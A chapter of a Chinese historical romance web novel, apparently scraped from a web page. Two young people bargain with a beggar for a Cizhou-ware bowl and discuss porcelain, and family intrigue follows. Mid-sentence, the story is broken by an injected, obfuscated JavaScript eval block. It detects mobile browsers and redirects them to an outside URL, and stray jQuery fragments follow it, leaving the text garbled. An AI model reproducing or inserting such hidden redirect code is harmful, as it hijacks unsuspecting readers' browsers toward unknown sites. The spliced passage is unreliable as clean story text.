42. 丐碗

作品:《碎碎平安

    跟乞丐抢饭碗这事儿多少还是超出了正常范围的认知。


    谢大哥看着那精瘦的少年不知从何下手,但谢织星坚定又气愤的眼神却又使得他不能放任小乞丐跑走。


    一时间几个人僵在一处,远远看去,就像一盘处处掣肘的残棋。


    此情此景也落到附近茶楼二层的一位茶客眼中,茶水碰到嘴皮前,先被一声轻轻的嗤笑漾开层层涟漪,引得对面的人也顺着视线转头看去——


    王蔺辰低声询问谢织星:“怎么回事?他那碗有问题?”


    “不是问题,我想看看他那个碗,可他吃了我两块米糕都不给我看,这小子……他不讲道义。”


    王蔺辰回头看了眼把碗护得死紧的少年,以及他嘴角的米糕屑沫,“大哥,你受累拦住他,我马上就回来。”


    说完,他立刻跑到附近的一家瓷器铺子,买了个又大又深的斗笠碗,好声好气同那少年沟通道:“我用这个碗换你那个碗,行不行?”


    少年又展示出一脸狐疑,把眼前三个人挨个都看了一遍,他捂紧自己的碗,开口就先喷了一扇糕沫瀑布,粗声粗气道:“你那碗太大了,不好要饭。”


    “你这小子……”


    王蔺辰被他堵了一口气,硬生生咽了。


    妈的,要饭的还搞过市场调研?


    他略微翻了个白眼,又去瓷器铺子里换了个小点的鸡心碗,顺便还跟掌柜讨要过来一块擦尘的棉布,总算完成了碗对碗的交易。


    谢织星托起被棉布包裹的碗,转着看了一圈,问那少年道:“你从哪里来的?”


    少年抱着他崭新的工具,态度和缓了些,“不知道,一路走就走到这了。”


    “那你这碗哪来的?”


    “别人给的,连碗带饭一起给了,”说完看着谢织星微蹙的眉,抢答了一句,“别人是谁也不知道,我不认识。”


    谢大哥见争端落幕,松开少年,疑惑道:“小四,这碗怎么了?”


    谢织星与王蔺辰对视了一眼,只说出一半实话,“这个碗的花纹画得很漂亮,而且我看这碗底色很白,就想看看它是怎么做出来的,兴许咱们也能试试。”


    那乞丐听完她说的话,半张着嘴,忽然改变主意,“我不换了,碗还给我!”


    王蔺辰朝天翻了个白眼,瞪了他一眼,“你可想好了,我敢保证,你这饭就是要遍全天下也只有她会用两块米糕跟你交换看一眼这破碗。我也只会因为她,拿一只大、小、合、适的新碗跟你换。”


    谢织星也瞪了这小子一眼,“米糕吃完了,碗我也看完了,你不肯换就把新的还给我们。”


    乞丐见他们真的只是想看碗,就放弃了把旧碗拿回来当宝贝的念头,旧碗又粗又沉,自然比不上新碗轻便干净,他摸了摸怀里的新碗,一句话没说,转头就自顾自跑开。


    王蔺辰看着他的背影长出一口气,“这倒霉孩子,要饭路上是吃了多少人心险恶的苦,居然精成这样……”


    谢大哥却若有所思地看向王蔺辰,王家郎君是个宽厚人,遇事不倒苦水,不以恶意揣度他人,更不凌弱,也很照顾小四,方才他跑起来比他这个亲大哥还快,小四若是和他在一起……


    打住!


    八字有一撇了么就安排!


    然而回去路上,谢大哥依然狠狠伤感了一把。


    因为他家小四和王小郎君显然是故意落后他一截,两个圆脑袋凑在一块嘀嘀咕咕,分明就不想同他分享‘悄悄话’。


    殊不知谢织星只是不想暴露自己脑子里那本超纲的陶瓷史。


    她凑近王蔺辰,低着声儿道:“是磁州窑,那边的土淘不干净,颗粒特别粗,颜色偏灰黄,做出来瓷器不好看,就往坯上头再敷一层化妆土,这个死白死白的就是化妆土,看,豁口能看到胎,灰黄色。”


    王蔺辰与她慢悠悠地并肩前行,好不容易从她发丝清香里艰难夺回思绪,又不慎被她纤长的黑睫往心尖上扫了一下,他努力去看那个破烂丐碗,眼神却还是鬼使神差地岔了道,自作主张地往那自然莹润的红唇上反复流连……


    太难了,认真听课真的是太难了!


    “化、化妆土怎么了?”


    “不怎么,这是一种装饰技巧,但是磁州窑从这种技巧里琢磨出了‘白地黑花’,还发展出很成熟的剔刻雕刻,特别漂亮,黑白强对比,尤其是大面积装饰在大盘子或者大瓶子上面的时候,盛放又内敛,端庄也活泼……”


    她说着说着,忽然抿了抿唇,睁大眼睛看向王蔺辰,“你在听么?做什么一直盯着我看?”


    “在、在听。”


    他侧过头轻咳一声,“刚才有点走神,对不住,你说到那个白地黑花……”


    谢织星扫了眼他红通通的耳廓,不知怎的就起了捉弄的心思,认真追问道:“你神走去哪了?”


    王蔺辰噎了一记,看着她明摆着等好戏的眼神,心一横,勇往直前杀出一条血路。


    “你。”他说。


    谢织星心跳冷不丁漏下一拍,但很快平息心绪,抬头朝他粲然一笑,道:“那就得委屈你时不时收一收神了,我总不好蒙着面和你讲话吧?王蔺辰,你这定力似乎是不太行。”


    她还是那副有点一板一眼的神气,但他一下子就听出她话里话外的调侃意味。


    出息了,又开了个玩笑!


    而与玩笑相伴生的则是一种若有似无的暧昧意味,两人之间像铺了一张似断似连的藕丝网,王蔺辰偷偷看她,发现她耳朵根微微发红,心里顿时一甜。


    “我这属于……男人的劣根性,你多担待,但说句真心的,确实很好看。”


    谢织星侧过头,撞见他眼底真诚又直白的赞赏,面上一红,“多谢夸奖。”


    王蔺辰虚握作拳,清了清嗓子,“你刚才说到哪了?磁州窑?”


    “啊,嗯,磁州窑,对,磁州窑还有红绿彩,我特别喜欢……”


    “听起来跟你之前说的‘桃花片’有点像,带红带绿的。”


    “风格不一样,红绿彩是釉上彩,得烧两回。”


    “等等,可我看这个丐碗,它也不黑啊,这是白地黑花?这不是褐色么?”


    谢织星接过那碗,眸光温柔地看着碗外壁的牡丹花纹——热烈自如,奔放流畅。


    “这是褐彩,我估摸着,这会儿磁州窑还没开始做白地黑花,红绿彩应该也是少见的高端产品。”


    王蔺辰眼睛一亮,“有商机?”


    谢织星耸了耸肩,“这个化妆土,取材于磁州,在定州估计是做不起来。”


    “那算什么难题,放个分店过去就是,有施展的余地。”


    她忽而笑了,“要这么说,咱们的分店得开遍大江南北,往南还有龙泉窑呢,说起来,龙泉粉青有个点褐我也很喜欢,古朴自然,很有趣味。”


    “等等,这个知识点留到下次展开,我今天的脑容量已经被合作伙伴的美貌暴击过了,装不下太多。”


    “那真是对不住了啊。”


    “不赖你不赖你,我爱看。”


    “你少贫嘴……”


    取得‘重大进展’的王蔺辰喜滋滋地把脚步迈得轻快飞扬。


    而方才茶楼上的看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654930|182999||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    客,则各有滋味。


    沈如翰今日与友人品茶闲谈,他率先认出谢织星的脸,毕竟瓷坊里做活的男子多,鲜少会带着家中女娘出门谈事,再者,谢家窑是第一个找沈如琅挛窑的瓷坊,他便记在心上了。


    可远远看着那小娘子同一个乞丐争来抢去,怎么都觉着这妮子问题很大啊……亏他先前还觉着,谢家小娘子那双眼睛挺灵气,如今看来,还是太把这群乱扑腾的小角色当回事了。


    沈如翰满心不屑,坐在他对面的孙泽义却一肚子不堪。


    他一眼认出来的那张脸,是王蔺辰。


    那是他未来娘子的弟弟,从前就听说游手好闲并挥霍家财,如今亲眼看到,果真耳闻不如一见。


    孙泽义家中也经营一座瓷坊,名曰“雅白瓷坊”,出产细腻柔白的定瓷,在定州城有相当不错的名气,故而与王员外家的姻亲算得上强强联合。


    未来妻子有三个兄弟,坏了一个,好歹还剩两个拿得出手。


    可眼睁睁看着坏掉的那个居然跟乞丐拉拉扯扯,孙泽义心中颇不是滋味。


    短板太短,能废掉一整只木桶。


    碍于脸面,他没有告诉沈如翰自己认识那个小郎君,他回家后把这件事告诉给母亲,希望母亲出面同未来亲家母点拨两句,家中儿郎也不能太放任自流。


    而孙泽义的母亲不负所望地来到王员外家,接待她的却是李娘子与蒋氏两人,李娘子对她的‘点拨’反应寡淡,甚至没打算说句像样的话,蒋氏却暗中气愤。


    她亲热地挽着孙泽义母亲的手臂,趁着把她送出门的空档,许诺道:“亲家,您且放心,我一定同家主好好说道。前些时日,家主非说要把儿郎都散出去好好做事,拼点像样的前程出来,可哪想到……有些人他不开窍就是一辈子不开窍,可劲儿给糟践家业呢,这事儿是不能这么一直下去,您放心……”


    孙泽义的母亲虽然也不大看得上这位妾室,但到底也算未来儿媳的生母,就给了几分薄面,客套几句后便离开了。


    夜里,蒋氏忙不迭同王敬之‘商量’辰哥儿的‘出格’行为,王敬之皱着眉头听完,忽然就想起那天王蔺辰玩世不恭的混球样。


    他下意识认为,这个儿子已经跳出了他从前对他的印象,并且根据石哥儿交出来的部分账目,王敬之已经管中窥豹,大概摸明白蒋氏那点小家子气性这些年得了多少好处。


    他从前也不是无知无觉,只是现在嫡子与妻子已经明确表示出不满,那么他这个做家主的,总该摆点像样的态度出来,不可再囫囵吞枣。


    毕竟,李婵背后还有一个李员外撑着她,蒋氏除去生育的三个子女,吃喝拉撒都得仰仗他王敬之,柿子挑软的捏,这道理谁都懂。


    昏暗的烛光里,王敬之看着蒋氏的脸,第一万次觉着,她真是不如李婵。


    模样不比李婵端庄秀美,举手投足亦是一副刻骨的奴颜婢膝样,但她有一点比李婵好——省事不费心。


    好比近日,李婵不知怎么回事,总挂着一脸不咸不淡的表情,话也比以前少,他问了几次,她也没说什么。


    蒋氏就不会做这种姿态,比如现在——


    他抬脚就踹了她一脸洗脚水,骂道:“不知道天高地厚的东西,辰哥儿做什么事也是你管得了的?”


    蒋氏几乎瞬间就跪伏到地,仰起脸道:“奴错了,主君息怒,奴这是想为您分忧。再说……真娘的婚事就在年底,若是传出些不好听的,也不太……”


    王敬之冷冷瞪着她,蒋氏便彻底低头闭嘴。


    看,这就是她比李婵好的那一点。